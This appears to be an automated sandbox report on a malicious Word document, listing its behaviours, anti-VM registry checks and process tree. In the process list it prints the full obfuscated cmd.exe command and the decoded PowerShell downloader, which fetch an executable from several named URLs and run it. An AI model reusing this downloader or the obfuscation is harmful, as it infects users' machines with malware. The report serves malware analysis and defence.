Resubmissions
02-12-2019 09:09
191202-3peefk1fgj 1025-11-2019 09:33
191125-mlb76vzzln 013-11-2019 08:52
191113-bdf8dc3pq6 013-11-2019 07:11
191113-f1dft78f6s 013-11-2019 07:10
191113-591nb65hbx 030-10-2019 14:27
191030-9pe7klare6 0Analysis
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max time kernel
141s -
max time network
151s -
resource
win10v191014
Task
task1
Sample
0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win7v191014
0 signatures
General
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Target
test.zip
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Sample
191113-bdf8dc3pq6
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SHA256
72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5
Score
N/A
Malware Config
Signatures
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powershell_downloader 1 TTPs 1 IoCs
pid Process 4648 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4648 powershell.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
description ioc pid Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4960 WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 4960 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4960 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4504 4960 cmd.exe 71 -
Windows cmd obfuscated command 2 IoCs
pid Process 4504 cmd.exe 2360 cmd.exe -
Checks system information in the registry (likely anti-VM) 2 TTPs 4 IoCs
description ioc pid Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer 3796 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName 3796 svchost.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2524 wrote to memory of 4068 2524 SppExtComObj.exe 76 PID 4960 wrote to memory of 4504 4960 WINWORD.EXE 78 -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4960 WINWORD.EXE -
description ioc pid Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm 4960 WINWORD.EXE File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm 4960 WINWORD.EXE File opened for modification C:\Users\Admin\AppData\Local\Temp\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc 4960 WINWORD.EXE File created C:\Users\Admin\AppData\Local\Temp\~$ded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc 4960 WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
description ioc pid Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4960 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4960 WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4960 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4648 powershell.exe -
Drops file in system dir 5 IoCs
description ioc pid Process File opened for modification C:\Windows\Debug\ESE.TXT 4420 svchost.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp 4420 svchost.exe File created C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp 4420 svchost.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp 4420 svchost.exe File created C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp 4420 svchost.exe -
description ioc pid Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" 4596 svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" 4596 svchost.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
- Checks system information in the registry (likely anti-VM)
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Drops Office document
- Checks processor information in registry (likely anti-VM)
- Suspicious behavior: AddClipboardFormatListener
PID:4960
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:2524
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:4068
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""1⤵
- Process spawned unexpected child process
- Windows cmd obfuscated command
PID:4504
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C:\Windows\system32\cmd.exeCmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""1⤵
- Windows cmd obfuscated command
PID:2360
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"1⤵
- powershell_downloader
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4648
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in system dir
PID:4420
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:3788
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵
- Checks system information in the registry (likely anti-VM)
PID:3796
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:4900
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
- Windows security modification
PID:4596
Network
MITRE ATT&CK Enterprise v15
MITRE ATT&CK Additional techniques
- T1086
- T1089